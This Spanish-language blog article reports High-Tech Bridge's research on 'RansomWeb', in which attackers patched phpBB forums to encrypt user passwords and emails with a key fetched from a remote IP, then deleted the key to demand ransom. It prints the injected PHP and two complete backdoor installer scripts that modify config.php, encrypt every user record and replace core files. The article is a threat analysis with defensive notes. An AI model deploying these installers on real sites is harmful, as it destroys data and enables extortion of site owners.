Ciberseguridad · 6 min read · Jan 19, 2026

“RansomWeb” el nuevo vector de ataque que encripta bases de datos de sitios web

Investigadores de High-Tech Bridge han publicado una investigación sobre cómo los criminales cibernéticos están encriptando bases de datos de sitios web y manteniéndolas como rehenes con “RansomWeb”

Cada vez más personas se convierten en víctimas de ransomware, un malware que encripta tus datos y exige dinero para desencriptarlos. Una nueva tendencia en el mercado muestra que los cibercriminales ahora también apuntarán a tu sitio web para obtener un pago de rescate de ti.

En diciembre de 2014, los expertos en seguridad de High-Tech Bridge descubrieron un caso muy interesante de compromiso de un sitio web de una empresa financiera: el sitio web estaba fuera de servicio mostrando un error de base de datos, mientras que el propietario del sitio web recibió un correo electrónico pidiendo un rescate para “desencriptar la base de datos”. La aplicación web en cuestión era bastante simple y pequeña, pero muy importante para el negocio de la empresa: la empresa no podía permitirse suspenderla, ni anunciar su compromiso. Una cuidadosa investigación realizada por High-Tech Bridge reveló lo siguiente:

  • La aplicación web fue comprometida hace seis meses, varios scripts del servidor fueron modificados para encriptar datos antes de insertarlos en la base de datos, y para desencriptar después de obtener datos de la base de datos. Una especie de parcheo “en vuelo” invisible para los usuarios de la aplicación web.

  • Solo los campos más críticos de las tablas de la base de datos fueron encriptados (probablemente para no impactar mucho en el rendimiento de la aplicación web). Todos los registros de base de datos existentes previamente fueron encriptados en consecuencia.

  • La clave de encriptación se almacenó en un servidor web remoto accesible solo a través de HTTPS (probablemente para evitar la interceptación de la clave por varios sistemas de monitoreo de tráfico).

  • Durante seis meses, los hackers esperaron silenciosamente, mientras las copias de seguridad eran sobrescritas por las versiones recientes de la base de datos.

  • En el día X, los hackers eliminaron la clave del servidor remoto. La base de datos se volvió inutilizable, el sitio web quedó fuera de servicio, y los hackers exigieron un rescate por la clave de encriptación.

Los investigadores afirmaron que estaban seguros de que era un ejemplo individual de un APT sofisticado dirigido a una empresa específica, sin embargo, la semana pasada se enfrentaron a otro caso similar. Uno de sus clientes, una PYME, fue extorsionado después de que su… foro phpBB quedara fuera de servicio. El foro se utilizaba como la plataforma principal para el soporte al cliente, y por lo tanto era importante para el cliente.

Era la última versión de phpBB 3.1.2 lanzada el 25 de noviembre de 2014. Ningún usuario podía iniciar sesión (incluidos moderadores y administradores del foro). El foro estaba en línea, sin embargo, todas las funciones que requieren que el usuario del foro esté autenticado no funcionaban. Nuestra minuciosa investigación reveló que el motor del foro fue parcheado de tal manera que las contraseñas y correos electrónicos de los usuarios fueron encriptados “en vuelo” entre la aplicación web y la base de datos.

Los siguientes archivos fueron modificados:

  1. El archivo “factory.php” tiene su función “sql_fetchrow()” modificada de tal manera que el resultado de la consulta SQL “$result = $this->get_driver()->sql_fetchrow($query_id);” en el array “result” tendrá valores desencriptados de los campos de la tabla “user_password” y “user_email”:
    if(isset($result[‘user_password’])){
    $result[‘user_password’] = $cipher->decrypt($result[‘user_password’]);
    }
    if(isset($result[‘user_email’])){
    $result[‘user_email’] = $cipher->decrypt($result[‘user_email’]);
    }
  2. El archivo “functions_user.php” tiene una versión modificada de la función “user_add” para agregar encriptación:
    $sql_ary = array(
    ‘username’=>$user_row[‘username’],
    ‘username_clean’ => $username_clean,
    ‘user_password’ => (isset($user_row[‘user_password’]))?
    $cipher->encrypt($user_row[‘user_password’]):$cipher->encrypt(”),
    ‘user_email’=> $cipher->encrypt(strtolower($user_row[‘user_email’])),
    ‘user_email_hash’=> phpbb_email_hash($user_row[‘user_email’]),
    ‘group_id’ => $user_row[‘group_id’],
    ‘user_type’ => $user_row[‘user_type’],
    );
  3. El archivo “cp_activate.php” tiene una versión modificada de la función “main()”:
    $sql_ary = array(
    ‘user_actkey’ => ”,
    ‘user_password’ => $cipher->encrypt($user_row[‘user_newpasswd’]),
    ‘user_newpasswd’ => ”,
    ‘user_login_attempts’ => 0,
    );
  4. El archivo “ucp_profile.php” tiene una versión modificada de la función “main()”:
    if (sizeof($sql_ary))
    {
    $sql_ary[‘user_email’] = $cipher->encrypt($sql_ary[‘user_email’]);
    $sql_ary[‘user_password’] = $cipher->encrypt($sql_ary[‘user_password’]);
    $sql = ‘UPDATE ‘ . USERS_TABLE . ‘
    SET ‘ . $db->sql_build_array(‘UPDATE’, $sql_ary) . ‘
    WHERE user_id = ‘ . $user->data[‘user_id’];
    $db->sql_query($sql);
    }
  5. El archivo “config.php” tuvo la siguiente modificación:
    class Cipher {
    private $securekey, $iv;
    function __construct($textkey) {
    $this->securekey = hash(‘sha256’,$textkey,TRUE);
    $this->iv = mcrypt_create_iv(32);
    }
    function encrypt($input) {
    return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
    $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
    }
    function decrypt($input) {
    return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
    $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
    }
    }
    $key=file_get_contents(‘https://103.13.120.108/sfdoif89d7sf8d979dfgf/
    sdfds90f8d9s0f8d0f89.txt’);
    $cipher=new Cipher($key);

Además, los investigadores encontraron dos scripts de instalación de puerta trasera dejados por los hackers en el servidor que permiten poner puerta trasera a cualquier foro phpBB con solo un par de clics. El primer instalador parchea el archivo “config.php” para agregar la clase “Cipher” que desencripta y encripta los datos con la función PHP “mcrypt_encrypt()” almacenando la clave de encriptación en un servidor remoto:

$file = ‘../config.php’;
$txt = “ ”.’class Cipher {
private $securekey, $iv;
function construct($textkey) {
$this->securekey = hash(\’sha256\’,$textkey,TRUE);
$this->iv = mcrypt_create_iv(32);
}
function encrypt($input) {
return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
}
function decrypt($input) {
return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
}
}
$key=file_get_contents(\’https://103.13.120.108/sfdoif89d7sf8d979dfgf/
sdfds90f8d9s0f8d0f89.txt\’);
$cipher=new Cipher($key);’.” ”;
if( FALSE !== file_put_contents($file, $txt, FILE_APPEND | LOCK_EX)){
echo “¡HECHO!”;
}; Y el segundo instalador analiza todos los usuarios phpBB existentes para encriptar sus correos electrónicos y contraseñas, y reemplaza los archivos phpBB mencionados anteriormente con copias con puerta trasera:
define(‘IN_PHPBB’, true);
$phpbb_root_path = (defined(‘PHPBB_ROOT_PATH’)) ? PHPBB_ROOT_PATH : ‘../’;
$phpEx = substr(strrchr(
FILE__, ‘.’), 1);
include($phpbb_root_path . ‘common.’ . $phpEx);
include($phpbb_root_path . ‘includes/functions_display.’ . $phpEx);
$sql = ‘SELECT user_id, user_password, user_email FROM ‘ . USERS_TABLE;
$result = $db->sql_query($sql);
while ($row = $db->sql_fetchrow($result))
{
$sql2 = ‘UPDATE ‘ . USERS_TABLE . ‘
SET
user_password = “‘.$cipher->encrypt($row[‘user_password’]).’”,
user_email = “‘.$cipher->encrypt($row[‘user_email’]).’”
WHERE user_id = ‘.$row[‘user_id’];
$result2 = $db->sql_query($sql2);
}
echo “¡SQL ACTUALIZADO!
”;
copy(‘factory.php’, ‘../phpbb/db/driver/factory.php’);
copy(‘functions_user.php’, ‘../includes/functions_user.php’);
copy(‘ucp_activate.php’, ‘../includes/ucp/ucp_activate.php’);
copy(‘ucp_profile.php’, ‘../includes/ucp/ucp_profile.php’);
echo “¡ARCHIVOS ACTUALIZADOS!”;

Los atacantes esperaron dos meses y luego simplemente eliminaron la clave del servidor remoto. Los investigadores de High-Tech Bridge descubrieron más tarde que phpBB fue comprometido a través de una contraseña FTP robada.
Por el momento, ningún software antivirus detecta ni siquiera los instaladores como un malware conocido:
“step1.php” archivo
“step2.php” archivo

Siguiendo la ola de ataques de ransomware, los investigadores nombraron a esta técnica de hacking “RansomWeb”.

  • Intentemos hacer un breve análisis de los ataques de RansomWeb:

  • Oportunidades potenciales de RansomWeb:

  • A diferencia de los ataques DDoS, pueden tener un impacto duradero en la disponibilidad de la aplicación web.

  • Puede ser utilizado no solo para extorsionar, sino para la destrucción a largo plazo del sitio web.

  • Las copias de seguridad no pueden ayudar mucho, ya que la base de datos se respaldará en modo encriptado, mientras que la clave de encriptación se almacena de forma remota y no será respaldada.

  • Casi imposible recuperarse del ataque sin pagar el rescate, muchas víctimas no tendrán otra opción que pagar a los hackers.

  • Las empresas de hosting no están preparadas para este nuevo desafío, y probablemente no podrán ayudar a sus clientes.

Los investigadores también han identificado las debilidades potenciales de “RansomWeb” que se indican a continuación:

  • Puede ser fácilmente detectado por un monitor de integridad de archivos (sin embargo, muy pocas empresas realizan monitoreo de integridad de archivos para aplicaciones web que pueden cambiar todos los días).

  • Bastante difícil encriptar toda la base de datos sin dañar la funcionalidad y/o velocidad de la aplicación web (sin embargo, incluso un campo de DB que no se puede recuperar puede arruinar una aplicación web).

  • Puede ser detectado bastante rápido cuando se utiliza en una aplicación web actualizada regularmente.

Recurso: High-Tech Bridge

Share: X/Twitter LinkedIn

Recibe nuevas publicaciones en tu bandeja de entrada.

No spam. Cancela la suscripción en cualquier momento.